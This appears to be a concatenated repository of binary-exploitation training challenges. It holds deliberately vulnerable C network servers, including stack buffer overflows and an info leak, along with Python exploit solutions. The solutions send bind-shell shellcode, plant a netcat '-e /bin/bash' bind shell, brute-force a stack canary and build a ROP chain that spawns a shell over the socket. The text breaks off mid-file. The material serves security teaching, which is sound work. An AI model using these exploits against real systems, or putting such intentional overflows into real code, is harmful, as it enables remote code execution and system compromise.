list_view('private') 54 | 55 | list_del('work', 0) 56 | list_view('private') 57 | 58 | alarm_add("Testalarm") 59 | alarm_list() 60 | 61 | list_view('private') 62 | #todo_edit('private', 0, 0xaa, "this is the MODIFIED todo entry") 63 | list_view('private') 64 | 65 | alarm_list() 66 | alarm_del(0) 67 | 68 | print r.recv() 69 | 70 | #r.interactive() 71 | -------------------------------------------------------------------------------- /challenge13/challenge13-solution.py: -------------------------------------------------------------------------------- 1 | import time 2 | import struct 3 | import sys 4 | import argparse 5 | from pwn import * 6 | 7 | context.update(arch='amd64', os='linux') 8 | 9 | parser = argparse.ArgumentParser() 10 | parser.add_argument("--offset", type=int, required=True) 11 | parser.add_argument("--address", type=str) 12 | args = parser.parse_args() 13 | 14 | 15 | def main(): 16 | print("Dont forget to start the server in the background") 17 | 18 | io = remote("localhost", 5001) 19 | gdb.attach(io, ''' 20 | set follow-fork-mode child 21 | continue 22 | ''') 23 | 24 | if args.address is None: 25 | print("--[ Send pattern") 26 | pattern = makePattern(args.offset) 27 | print(hexdump(pattern, skip=False)) 28 | 29 | io.sendafter(b"Username: ", pattern) 30 | io.sendafter(b"Password: ", b"password") 31 | io.recvall() 32 | #io.wait() 33 | return 34 | 35 | else: 36 | print("--[ Send exploit") 37 | exploit = makeExploit(args.offset, int(args.address, 16), buf_size=256) 38 | print(hexdump(exploit, skip=False)) 39 | 40 | io.sendafter(b"Username: ", exploit) 41 | io.sendafter(b"Password: ", b"password") 42 | checkShell() 43 | return 44 | 45 | def makePattern(offset): 46 | pattern = b'XXXX' 47 | pattern += b'A' * (offset - 4) 48 | pattern += b'BBBB' # RIP 49 | return pattern 50 | 51 | def makeExploit(offset, address, buf_size=128): 52 | s = shellcraft.amd64.linux.bindsh(4444, "ipv4") 53 | shellcode = asm(s) 54 | exploit = b'\x90' * (buf_size - len(shellcode)) 55 | exploit += shellcode 56 | exploit += b'A' * (offset - len(exploit)) 57 | exploit += p64(address) 58 | return exploit 59 | 60 | def checkShell(): 61 | time.sleep(0.1) 62 | try: 63 | ioShell = remote("localhost", 4444) 64 | ioShell.interactive() 65 | except Exception as e: 66 | print("Error: Remote shell not started.") 67 | pass 68 | 69 | if __name__ == '__main__': 70 | main() 71 | -------------------------------------------------------------------------------- /challenge15/challenge15-solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import time 4 | import struct 5 | import sys 6 | import argparse 7 | from pwn import * 8 | 9 | gdbStr = ''' 10 | set follow-fork-mode child 11 | {} 12 | continue 13 | ''' 14 | 15 | def main(): 16 | print("Dont forget to start the server in the background") 17 | context.update(arch='amd64', os='linux') 18 | 19 | parser = argparse.ArgumentParser() 20 | parser.add_argument("--offset", type=int, required=True) 21 | parser.add_argument("--address", type=str) 22 | parser.add_argument("--gdb", nargs='?', default="", type=str) 23 | args = parser.parse_args() 24 | 25 | io = remote("localhost", 5001) 26 | gdb.attach(io, gdbStr.format(args.gdb)) 27 | 28 | if args.address is None: 29 | print("--[ Send pattern") 30 | pattern = makePattern(args.offset) 31 | print(hexdump(pattern, skip=False)) 32 | 33 | io.sendafter(b"Username: ", pattern) 34 | io.sendafter(b"Password: ", b"password") 35 | io.recvall() 36 | #io.wait() 37 | return 38 | 39 | else: 40 | print("--[ Send exploit") 41 | exploit = makeExploit(args.offset, int(args.address, 16), buf_size=256) 42 | print(hexdump(exploit, skip=False)) 43 | 44 | io.sendafter(b"Username: ", exploit) 45 | io.sendafter(b"Password: ", b"password") 46 | #io.recvall() 47 | checkShell() 48 | return 49 | 50 | def makePattern(offset): 51 | pattern = b'XXXX' 52 | pattern += b'A' * (offset - 4) 53 | pattern += b'BBBB' # RIP 54 | return pattern 55 | 56 | def makeExploit(offset, address, buf_size=128, nop=b' '): 57 | # bash bind shell to 0.0.0.0:4444 using openbsd-netcat 58 | shellcode = b'nc.traditional -nlp 4444 127.0.0.1 -e /bin/bash #' 59 | exploit = nop * (buf_size - len(shellcode)) 60 | exploit += shellcode 61 | exploit += b'A' * (offset - len(exploit)) 62 | exploit += p64(address) 63 | return exploit 64 | 65 | def checkShell(): 66 | time.sleep(0.5) 67 | try: 68 | ioShell = remote("127.0.0.1", 4444) 69 | ioShell.interactive() 70 | except Exception as e: 71 | print("Error: Remote shell not started.") 72 | pass 73 | 74 | if __name__ == '__main__': 75 | main() 76 | -------------------------------------------------------------------------------- /challenge16/challenge16.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | 15 | void handleClient (int socket) { 16 | char data[1024]; 17 | int ret = 0; 18 | 19 | bzero(data, sizeof(data)); 20 | write(socket, "Data: ", 6); 21 | 22 | ret = read(socket, data, 2048); // reads up to 2048 bytes into a 1024 buffer 23 | printf("I've read %i bytes\n", ret); 24 | } 25 | 26 | 27 | int makeServer(int portno) { 28 | int sockfd, newsockfd, clilen; 29 | char buffer[256]; 30 | struct sockaddr_in serv_addr, cli_addr; 31 | int n, pid; 32 | 33 | signal(SIGCHLD, SIG_IGN); 34 | 35 | bzero((char *) &serv_addr, sizeof(serv_addr)); 36 | serv_addr.sin_family = AF_INET; 37 | serv_addr.sin_addr.s_addr = INADDR_ANY; 38 | serv_addr.sin_port = htons(portno); 39 | 40 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 41 | if (sockfd < 0) { 42 | perror("ERROR opening socket"); 43 | exit(1); 44 | } 45 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { 46 | perror("ERROR on binding"); 47 | exit(1); 48 | } 49 | if (listen(sockfd, 5) < 0) { 50 | perror("ERROR on listen"); 51 | exit(1); 52 | } 53 | 54 | return sockfd; 55 | } 56 | 57 | 58 | int main( int argc, char *argv[] ) { 59 | struct sockaddr_in cli_addr; 60 | int clilen = sizeof(cli_addr); 61 | int port = 5001; 62 | 63 | printf("Starting server on port: %i\n", port); 64 | int serverSocket = makeServer(port); 65 | while (1) { 66 | int newsockfd = accept(serverSocket, (struct sockaddr *) &cli_addr, &clilen); 67 | if (newsockfd < 0) { 68 | perror("ERROR on accept"); 69 | exit(1); 70 | } 71 | printf("Client connected\n"); 72 | 73 | int pid = fork(); 74 | if (pid < 0) { 75 | perror("ERROR on fork"); 76 | exit(1); 77 | } 78 | if (pid == 0) { 79 | /* This is the client process */ 80 | close(serverSocket); 81 | handleClient(newsockfd); 82 | exit(0); 83 | } else { 84 | close(newsockfd); 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /challenge17/challenge17.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | 15 | void handleClient (int socket) { 16 | long int ret = 0; 17 | char data[1024]; 18 | 19 | write(socket, &ret, 128); // info leak 20 | 21 | bzero(data, sizeof(data)); 22 | write(socket, "Data: ", 6); 23 | 24 | ret = read(socket, data, 2048); // reads up to 2048 bytes into a 1024 buffer 25 | printf("I've read %i bytes\n", ret); 26 | } 27 | 28 | 29 | int makeServer(int portno) { 30 | int sockfd, newsockfd, clilen; 31 | char buffer[256]; 32 | struct sockaddr_in serv_addr, cli_addr; 33 | int n, pid; 34 | 35 | signal(SIGCHLD, SIG_IGN); 36 | 37 | bzero((char *) &serv_addr, sizeof(serv_addr)); 38 | serv_addr.sin_family = AF_INET; 39 | serv_addr.sin_addr.s_addr = INADDR_ANY; 40 | serv_addr.sin_port = htons(portno); 41 | 42 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 43 | if (sockfd < 0) { 44 | perror("ERROR opening socket"); 45 | exit(1); 46 | } 47 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { 48 | perror("ERROR on binding"); 49 | exit(1); 50 | } 51 | if (listen(sockfd, 5) < 0) { 52 | perror("ERROR on listen"); 53 | exit(1); 54 | } 55 | 56 | return sockfd; 57 | } 58 | 59 | 60 | int main( int argc, char *argv[] ) { 61 | struct sockaddr_in cli_addr; 62 | int clilen = sizeof(cli_addr); 63 | int port = 5001; 64 | 65 | printf("Starting server on port: %i\n", port); 66 | int serverSocket = makeServer(port); 67 | while (1) { 68 | int newsockfd = accept(serverSocket, (struct sockaddr *) &cli_addr, &clilen); 69 | if (newsockfd < 0) { 70 | perror("ERROR on accept"); 71 | exit(1); 72 | } 73 | printf("Client connected\n"); 74 | 75 | int pid = fork(); 76 | if (pid < 0) { 77 | perror("ERROR on fork"); 78 | exit(1); 79 | } 80 | if (pid == 0) { 81 | /* This is the client process */ 82 | close(serverSocket); 83 | handleClient(newsockfd); 84 | exit(0); 85 | } else { 86 | close(newsockfd); 87 | } 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /challenge32/source/list.h: -------------------------------------------------------------------------------- 1 | #ifndef LIST_H 2 | #define LIST_H 3 | 4 | #define offsetof(type, member) ((size_t) & ((type *)0)->member) 5 | 6 | #define container_of(ptr, type, member) ({ \ 7 | const typeof( ((type *)0)->member ) *__mptr = (ptr); \ 8 | (type *)( (char *)__mptr - offsetof(type,member) );}) 9 | 10 | #define list_entry(ptr, type, member) \ 11 | container_of(ptr, type, member) 12 | 13 | struct list_head 14 | { 15 | struct list_head *next; 16 | struct list_head *prev; 17 | }; 18 | 19 | #define LIST_HEAD_INIT(name) { &(name), &(name) } 20 | 21 | #define LIST_HEAD(name) struct list_head name = LIST_HEAD_INIT(name) 22 | 23 | static inline void INIT_LIST_HEAD(struct list_head *list) 24 | { 25 | list->next = list; 26 | list->prev = list; 27 | } 28 | 29 | static inline void __list_add(struct list_head *new, struct list_head *prev, struct list_head *next) 30 | { 31 | prev->next = new; 32 | new->prev = prev; 33 | new->next = next; 34 | next->prev = new; 35 | } 36 | 37 | static inline void __list_del(struct list_head *prev, struct list_head *next) 38 | { 39 | prev->next = next; 40 | next->prev = prev; 41 | } 42 | 43 | static inline void list_del_entry(struct list_head *entry) 44 | { 45 | __list_del(entry->prev, entry->next); 46 | } 47 | 48 | static inline void list_add(struct list_head *new, struct list_head *head) 49 | { 50 | __list_add(new, head, head->next); 51 | } 52 | 53 | static inline int list_empty(struct list_head *head) 54 | { 55 | return head->next == head; 56 | } 57 | 58 | #define list_first_entry(ptr, type, member) \ 59 | list_entry( (ptr)->next, type, member ) 60 | 61 | #define list_last_entry(ptr, type, member) \ 62 | list_entry( (ptr)->prev, type, member ) 63 | 64 | #define list_next_entry(pos, member) \ 65 | list_entry((pos)->member.next, typeof(*(pos)), member) 66 | 67 | #define list_prev_entry(pos, member) \ 68 | list_entry((pos)->member.prev, typeof(*(pos)), member) 69 | 70 | #define list_for_each(pos, head) \ 71 | for ( pos = (head)->next; pos != (head); pos = pos->next ) 72 | 73 | #define list_for_each_reverse(pos, head) \ 74 | for ( pos = (head)->prev; pos != (head); pos = pos->prev ) 75 | 76 | #define list_for_each_entry(pos, head, member) \ 77 | for ( pos = list_first_entry(head, typeof(*pos), member); \ 78 | &pos->member != (head); \ 79 | pos = list_next_entry(pos, member) ) 80 | 81 | #endif 82 | 83 | -------------------------------------------------------------------------------- /challenge14/challenge14-bruteforce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | import signal 4 | 5 | from socket import * 6 | from struct import * 7 | import base64 8 | import time 9 | import string 10 | 11 | 12 | bfBytes = [] 13 | 14 | def signal_handler(signal, frame): 15 | print ("") 16 | print ("Bytes: ") 17 | for byte in bfBytes: 18 | sys.stdout.write( hex(byte) + " " ) 19 | print ("") 20 | sys.exit(0) 21 | 22 | 23 | signal.signal(signal.SIGINT, signal_handler) 24 | 25 | def bruteforceOffset(n): 26 | s = socket(AF_INET, SOCK_STREAM) 27 | s.connect(("localhost", 32001)) 28 | 29 | payload = b'A' * n 30 | print("Send {}: {}".format(n, payload)) 31 | s.send(payload) 32 | 33 | a = b"" 34 | try: 35 | a = s.recv(2) 36 | if a == b"" or a == None: 37 | return True 38 | except Exception as e: 39 | return True 40 | finally: 41 | s.close() 42 | 43 | return False 44 | 45 | 46 | def bruteforceCanary(offset, n, canary): 47 | s = socket(AF_INET, SOCK_STREAM) 48 | #s.settimeout(0.5) 49 | s.connect(("localhost", 32001)) 50 | 51 | payload = b'A' * offset 52 | payload += canary 53 | payload += bytes([n]) 54 | #payload += chr(n) 55 | if isVerbose: 56 | print("Payload {}: {}".format(n, payload)) 57 | 58 | s.send(payload) 59 | 60 | a = "" 61 | try: 62 | a = s.recv(2) 63 | if a == b"" or a is None: 64 | return False 65 | except: 66 | return False 67 | finally: 68 | s.close() 69 | 70 | return True 71 | 72 | 73 | isVerbose = False 74 | 75 | if len(sys.argv) > 1: 76 | if sys.argv[1] == "-v": 77 | isVerbose = True 78 | 79 | 80 | n = 16 81 | while n < 32: 82 | try: 83 | ret = bruteforceOffset(n) 84 | if ret: 85 | print("Crash of server at offset: " + str(n)) 86 | break 87 | n += 1 88 | except KeyboardInterrupt: 89 | signal_handler() 90 | 91 | offset = n - 1 92 | print ("Offset is: " + str(offset)) 93 | input("Press Enter to continue...") 94 | 95 | 96 | if True: 97 | n = 0 98 | canary = b"" 99 | while n < 256: 100 | ret = bruteforceCanary(offset, n, canary) 101 | if ret: 102 | canary = canary + bytes([n]) 103 | print ("Found byte: " + hex(n)) 104 | bfBytes.append(n) 105 | n = 0 106 | continue 107 | n += 1 108 | -------------------------------------------------------------------------------- /challenge17/exp-challenge17.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import time 4 | import struct 5 | import sys 6 | import argparse 7 | from pwn import * 8 | 9 | gdbStr = ''' 10 | set follow-fork-mode child 11 | {} 12 | continue 13 | ''' 14 | 15 | def main(): 16 | print("Dont forget to start the server in the background") 17 | context.update(arch='amd64', os='linux') 18 | 19 | parser = argparse.ArgumentParser() 20 | parser.add_argument("--offset", type=int, required=True) 21 | parser.add_argument("--keep", default=False, action='store_true') 22 | parser.add_argument("--gdbstr", nargs='?', default="", type=str) 23 | parser.add_argument("--gdb", default=False, action='store_true') 24 | 25 | args = parser.parse_args() 26 | 27 | io = remote("localhost", 5001) 28 | if args.gdb: 29 | gdb.attach(io, gdbStr.format(args.gdbstr)) 30 | 31 | print("--[ Send exploit") 32 | 33 | infoLeakData = io.read() 34 | print("Infoleak:") 35 | print(hexdump(infoLeakData)) 36 | 37 | exploit = makeExploit(args.offset, infoLeakData) 38 | #print(hexdump(exploit, skip=False)) 39 | 40 | print("Send Data: ") 41 | io.send(exploit) 42 | if args.keep: 43 | io.recvall() 44 | 45 | io.interactive() 46 | return 47 | 48 | 49 | def makePattern(offset): 50 | pattern = b'XXXX' 51 | pattern += b'A' * (offset - 4) 52 | pattern += b'BBBB' # RIP 53 | return pattern 54 | 55 | 56 | def makeExploit(offset, infoLeakData): 57 | payload = b'A' * offset 58 | 59 | libcPtr = u64(infoLeakData[0x60:0x60+8]) 60 | libcBase = libcPtr - 158986 61 | null = 0x404090 62 | socketNo = 4 63 | 64 | print("LIBC Ptr : " + str(hex(libcPtr))) 65 | print("LIBC Base: " + str(hex(libcBase))) 66 | 67 | binBash = libcBase + 1614162 68 | pop_rax = libcBase + 0x3ee88 69 | pop_rdi = libcBase + 0x26796 70 | pop_rsi = libcBase + 0x2890f 71 | syscall = libcBase + 0x580da 72 | 73 | # dup2(4, 0) 74 | payload += p64 ( pop_rax ) 75 | payload += p64 ( 33 ) 76 | payload += p64 ( pop_rdi ) 77 | payload += p64 ( socketNo ) 78 | payload += p64 ( pop_rsi) 79 | payload += p64 ( 0 ) 80 | payload += p64 ( syscall ) 81 | 82 | # dup2(4, 1) 83 | payload += p64 ( pop_rax ) 84 | payload += p64 ( 33 ) 85 | payload += p64 ( pop_rdi ) 86 | payload += p64 ( socketNo ) 87 | payload += p64 ( pop_rsi ) 88 | payload += p64 ( 1 ) 89 | payload += p64 ( syscall ) 90 | 91 | # dup2(4, 2) 92 | payload += p64 ( pop_rax ) 93 | payload += p64 ( 33 ) 94 | payload += p64 ( pop_rdi ) 95 | payload += p64 ( socketNo ) 96 | payload += p64 ( pop_rsi) 97 | payload += p64 ( 2 ) 98 | payload += p64 ( syscall ) 99 | 100 | # execve 101 | payload += p64 ( pop_rdi ) 102 | payload += p64 ( binBash ) 103 | payload += p64 ( pop_rsi ) 104 | payload += p64 ( null ) 105 | payload += p64 ( pop_rax) 106 | payload += p64 ( 59 ) 107 | payload += p64 ( syscall ) 108 | 109 | return payload 110 | 111 | 112 | if __name__ == '__main__': 113 | main() 114 | -------------------------------------------------------------------------------- /challenge32/source/logic.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "list.h" 7 | #include "logic.h" 8 | #include "movie.h" 9 | #include "utility.h" 10 | 11 | static struct Movie *find_movie(char *name); 12 | static int movie_exists(char *name); 13 | 14 | static LIST_HEAD(movie_list); 15 | 16 | void print_welcome_message(char *file_name) 17 | { 18 | FILE *fd; 19 | int c; 20 | 21 | if ( !(fd = fopen(file_name, "rb")) ) 22 | { 23 | perror("Movie does not exist... exiting now."); 24 | exit(1); 25 | } 26 | 27 | while ( 1 ) 28 | { 29 | c = getc(fd); 30 | if ( c == -1 ) 31 | break; 32 | putchar(c); 33 | } 34 | 35 | fclose(fd); 36 | } 37 | 38 | void add_movie() 39 | { 40 | char name[MAX_MOVIE_NAME_LEN]; 41 | char description[MAX_MOVIE_DESCRIPTION_LEN]; 42 | int year; 43 | int duration; 44 | 45 | printf("Name: "); 46 | read_n_line(name, MAX_MOVIE_NAME_LEN); 47 | if ( movie_exists(name) ) 48 | { 49 | puts("Movie already exists."); 50 | return; 51 | } 52 | 53 | printf("Description: "); 54 | read_n_line(description, MAX_MOVIE_DESCRIPTION_LEN); 55 | 56 | printf("Year: "); 57 | year = read_int_line(); 58 | 59 | printf("Duration: "); 60 | duration = read_int_line(); 61 | 62 | struct Movie *m = create_movie(name, description, duration, year); 63 | list_add(&m->list, &movie_list); 64 | } 65 | 66 | void remove_movie() 67 | { 68 | char name[MAX_MOVIE_NAME_LEN]; 69 | printf("Name: "); 70 | read_n_line(name, MAX_MOVIE_NAME_LEN); 71 | 72 | struct Movie *m = find_movie(name); 73 | if ( !m ) 74 | { 75 | puts("Movie does not exist"); 76 | return; 77 | } 78 | 79 | list_del_entry(&m->list); 80 | free(m); 81 | } 82 | 83 | void edit_movie() 84 | { 85 | char name[MAX_MOVIE_NAME_LEN]; 86 | printf("Name: "); 87 | read_n_line(name, MAX_MOVIE_NAME_LEN); 88 | 89 | struct Movie *m = find_movie(name); 90 | if ( !m ) 91 | { 92 | puts("Movie does not exist"); 93 | return; 94 | } 95 | 96 | printf("New name: "); 97 | read_n_line(m->name, MAX_MOVIE_DESCRIPTION_LEN); 98 | 99 | printf("New description: "); 100 | read_n_line(m->description, MAX_MOVIE_DESCRIPTION_LEN); 101 | 102 | printf("New duration: "); 103 | m->duration = read_int_line(); 104 | 105 | printf("New year: "); 106 | m->year = read_int_line(); 107 | } 108 | 109 | void print_movies() 110 | { 111 | if ( list_empty(&movie_list) ) 112 | { 113 | puts(""); 114 | puts("No movies available"); 115 | puts(""); 116 | return; 117 | } 118 | 119 | puts(""); 120 | puts("--- Available Movies ---"); 121 | puts(""); 122 | 123 | struct Movie *m; 124 | list_for_each_entry(m, &movie_list, list) 125 | { 126 | m->print(m); 127 | puts(""); 128 | } 129 | 130 | puts("------------------------"); 131 | puts(""); 132 | } 133 | 134 | static struct Movie *find_movie(char *name) 135 | { 136 | struct Movie *m; 137 | list_for_each_entry(m, &movie_list, list ) 138 | { 139 | if ( strcmp(m->name, name) == 0 ) 140 | return m; 141 | } 142 | 143 | return NULL; 144 | } 145 | 146 | static int movie_exists(char *name) 147 | { 148 | return find_movie(name) != NULL; 149 | } 150 | 151 | -------------------------------------------------------------------------------- /challenge02/challenge02.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void Array() { 6 | unsigned int stackTop = 0xaabbccdd; 7 | char charArray[4] = { 1, 2, 3, 4 }; 8 | unsigned int stackBot = 0x11223344; 9 | 10 | printf( 11 | "unsigned int stackTop = 0xaabbccdd; \n" 12 | "char charArray[4] = { 1, 2, 3, 4 }; \n" 13 | "unsigned int stackBot = 0x11223344; \n" 14 | "\n" 15 | ); 16 | printf("stackBot @ %p: 0x%x\n", &stackBot, stackBot); 17 | printf("charArray[-1] @ %p: 0x%hhx (part of stackBot)\n", (void *) &charArray[-1], charArray[-1]); 18 | printf("charArray[0] @ %p: 0x%hhx\n", (void *) &charArray[0], charArray[0]); 19 | printf("charArray[1] @ %p: 0x%hhx\n", (void *) &charArray[1], charArray[1]); 20 | printf("charArray[4] @ %p: 0x%hhx (part of stackTop)\n", (void *) &charArray[4], charArray[4]); 21 | printf("stackTop @ %p: 0x%x\n", &stackTop, stackTop); 22 | } 23 | 24 | 25 | struct __attribute__((__packed__)) cStruct { 26 | short x; 27 | long y; 28 | char z[2]; 29 | }; 30 | 31 | void Struct() { 32 | struct cStruct cstruct; 33 | cstruct.x = 1; 34 | cstruct.y = 2; 35 | cstruct.z[0] = 0x10; 36 | cstruct.z[1] = 0x11; 37 | 38 | printf( 39 | "struct cStruct { \n" 40 | " short x; \n" 41 | " long y; \n" 42 | " char z[2]; \n" 43 | "}; \n" 44 | 45 | "cstruct.x = 1; \n" 46 | "cstruct.y = 2; \n" 47 | "cstruct.z[0] = 0x10; \n" 48 | "cstruct.z[1] = 0x11; \n" 49 | "\n" 50 | ); 51 | 52 | printf("cStruct.x @ %p (size %i)\n", (void *) &cstruct.x, sizeof(cstruct.x)); 53 | printf("cStruct.y @ %p (size %i)\n", (void *) &cstruct.y, sizeof(cstruct.y)); 54 | printf("cStruct.z[0] @ %p (size %i)\n", (void *) &cstruct.z[0], sizeof(cstruct.z[0])); 55 | printf("cStruct.z[1] @ %p (size %i)\n", (void *) &cstruct.z[1], sizeof(cstruct.z[1])); 56 | } 57 | 58 | 59 | void Strncpy() { 60 | char dest1[8] = "1234567\0"; 61 | char dest2[8] = "1234567\0"; 62 | 63 | printf( 64 | "char dest1[8] = \"1234567\\0\"; \n" 65 | "char dest2[8] = \"1234567\\0\"; \n" 66 | "\n" 67 | ); 68 | 69 | printf("dest1 @ %p: %s\n", dest1, dest1); 70 | printf("dest2 @ %p: %s\n", dest2, dest2); 71 | 72 | strncpy(dest2, "AABBCCDD", 8); 73 | 74 | printf("After strncpy(dest2, \"AABBCCDD\"), without space for nul:\n"); 75 | printf("dest1 @ %p: %s\n", dest1, dest1); 76 | printf("dest2 @ %p: %s (missing nul terminator)\n", dest2, dest2); 77 | } 78 | 79 | void main(int argc, char **argv) { 80 | if (argc != 2) { 81 | printf("%s: array|struct|strncpy\n", argv[0]); 82 | exit(1); 83 | } 84 | if (strcmp(argv[1], "array") == 0) { 85 | Array(); 86 | } 87 | if (strcmp(argv[1], "struct") == 0) { 88 | Struct(); 89 | } 90 | if (strcmp(argv[1], "strncpy") == 0) { 91 | Strncpy(); 92 | } 93 | printf("\n"); 94 | } 95 | -------------------------------------------------------------------------------- /challenge53/challenge53.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | struct _FileHeader { 7 | char header[4]; 8 | int16_t size; 9 | int16_t imageCount; 10 | }; 11 | typedef struct _FileHeader FileHeader; 12 | 13 | struct _FileImage { 14 | int width; 15 | int height; 16 | int size; 17 | }; 18 | typedef struct _FileImage FileImage; 19 | 20 | struct _ImageEntry { 21 | int idx; 22 | int size; 23 | char *data; 24 | }; 25 | typedef struct _ImageEntry ImageEntry; 26 | 27 | ImageEntry** parseFileHeader(FileHeader *fileHeader, char *buf); 28 | ImageEntry** readFile(char *filename); 29 | 30 | ImageEntry** readFile(char *filename) { 31 | char buf[128]; 32 | FILE *f; 33 | FileHeader fileHeader; 34 | size_t ret; 35 | 36 | f = fopen(filename, "r"); 37 | if (f == NULL) { 38 | printf("Can't open file or file doesn't exist: %s\n", filename); 39 | exit(0); 40 | } 41 | 42 | // Read: FileHeader Header 43 | ret = fread(&fileHeader, sizeof(fileHeader), 1, f); 44 | if (ret <= 0) { 45 | printf("Read error in fileHeaderlen: %zu\n", ret); 46 | exit(0); 47 | } 48 | 49 | // Read: Rest of FileHeader 50 | ret = fread(&buf, fileHeader.size, 1, f); // Buffer Overflow here (when fileHeader.size > 128) 51 | if (ret <= 0) { 52 | printf("Read error in copy fileHeader: %zu\n", ret); 53 | exit(0); 54 | } 55 | 56 | // Parse: FileHeader 57 | return parseFileHeader(&fileHeader, buf); 58 | } 59 | 60 | ImageEntry** parseFileHeader(FileHeader *fileHeader, char *buf) { 61 | ImageEntry **entries; 62 | FileImage *img; 63 | char *ptr = buf; 64 | int imageCnt = fileHeader->imageCount; 65 | 66 | entries = malloc(sizeof(ImageEntry) * 8); 67 | 68 | for(int n=0; nheight, img->width, img->size); 71 | int dataSize = img->height * img->width; 72 | 73 | ImageEntry *entry = malloc(sizeof(ImageEntry)); 74 | entry->idx = n; 75 | entry->size = dataSize; 76 | entry->data = malloc(dataSize); 77 | memcpy(entry->data, ptr+sizeof(FileImage), img->size); 78 | entry->data[img->size-1] = 0; 79 | entries[n] = entry; 80 | 81 | ptr += dataSize + sizeof(FileImage); 82 | } 83 | 84 | entries[imageCnt] = NULL; 85 | 86 | return entries; 87 | } 88 | 89 | 90 | int main(int argc, char **argv) { 91 | if (argc != 2) { 92 | printf("Usage: %s \n", argv[0]); 93 | exit(1); 94 | } 95 | 96 | // Get all from file 97 | ImageEntry **entries = readFile(argv[1]); 98 | 99 | // Show 100 | for (int n=0; entries[n] != NULL; n++) { 101 | printf("FileImage: %i\n", n); 102 | printf(" idx : %i\n", entries[n]->idx); 103 | printf(" size: %i\n", entries[n]->size); 104 | printf(" data: %s\n", entries[n]->data); 105 | } 106 | 107 | // Free everything again 108 | for (int n=0; entries[n] != NULL; n++) { 109 | free(entries[n]->data); 110 | free(entries[n]); 111 | } 112 | 113 | return 0; 114 | } -------------------------------------------------------------------------------- /challenge13/challenge13.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | 15 | int checkPassword(char *password) { 16 | char *adminHash = "$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx."; 17 | char *hash = crypt(password, "$6$saaaaalty"); 18 | if (strcmp(hash, adminHash) == 0) { 19 | return 1; 20 | } else { 21 | return 0; 22 | } 23 | } 24 | 25 | int handleData(char *username, char *password) { 26 | int isAdmin = 0; 27 | char name[256]; 28 | 29 | isAdmin = checkPassword(password); 30 | strcpy(name, username); 31 | 32 | if(isAdmin > 0) { 33 | return 1; 34 | } else { 35 | return 0; 36 | } 37 | } 38 | 39 | void handleClient (int socket) { 40 | char username[1024]; 41 | char password[1024]; 42 | 43 | bzero(username, sizeof(username)); 44 | bzero(password, sizeof(password)); 45 | 46 | write(socket, "Username: ", 10); 47 | read(socket, username, 1023); 48 | 49 | write(socket, "Password: ", 10); 50 | read(socket, password, 1023); 51 | 52 | int ret = handleData(username, password); 53 | if (ret) { 54 | write(socket, "You are admin", 13); 55 | } else { 56 | write(socket, "Not admin.", 10); 57 | } 58 | } 59 | 60 | 61 | int makeServer(int portno) { 62 | int sockfd, newsockfd, clilen; 63 | char buffer[256]; 64 | struct sockaddr_in serv_addr, cli_addr; 65 | int n, pid; 66 | 67 | signal(SIGCHLD, SIG_IGN); 68 | 69 | bzero((char *) &serv_addr, sizeof(serv_addr)); 70 | serv_addr.sin_family = AF_INET; 71 | serv_addr.sin_addr.s_addr = INADDR_ANY; 72 | serv_addr.sin_port = htons(portno); 73 | 74 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 75 | if (sockfd < 0) { 76 | perror("ERROR opening socket"); 77 | exit(1); 78 | } 79 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { 80 | perror("ERROR on binding"); 81 | exit(1); 82 | } 83 | if (listen(sockfd, 5) < 0) { 84 | perror("ERROR on listen"); 85 | exit(1); 86 | } 87 | 88 | return sockfd; 89 | } 90 | 91 | 92 | int main( int argc, char *argv[] ) { 93 | struct sockaddr_in cli_addr; 94 | int clilen = sizeof(cli_addr); 95 | 96 | int serverSocket = makeServer(5001); 97 | while (1) { 98 | int newsockfd = accept(serverSocket, (struct sockaddr *) &cli_addr, &clilen); 99 | if (newsockfd < 0) { 100 | perror("ERROR on accept"); 101 | exit(1); 102 | } 103 | printf("Client connected\n"); 104 | 105 | int pid = fork(); 106 | if (pid < 0) { 107 | perror("ERROR on fork"); 108 | exit(1); 109 | } 110 | if (pid == 0) { 111 | /* This is the client process */ 112 | close(serverSocket); 113 | handleClient(newsockfd); 114 | exit(0); 115 | } else { 116 | close(newsockfd); 117 | } 118 | } 119 | } 120 | 121 | 122 | 123 | -------------------------------------------------------------------------------- /challenge17/exp-challenge17-advanced.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import struct 4 | from pwn import * 5 | 6 | e = ELF("./challenge17") 7 | tube = connect("localhost", 5002) 8 | 9 | # offset to SIP 10 | offset = 152 11 | 12 | # writeable data addr 13 | sh_addr = 0x602100 14 | 15 | 16 | # gadgets 17 | 18 | # 0x0000000000400c91: pop rax; ret; 19 | pop_rax = 0x0000000000400c91 20 | 21 | # 0x0000000000400eb3: pop rdi; ret; 22 | pop_rdi = 0x0000000000400eb3 23 | 24 | # 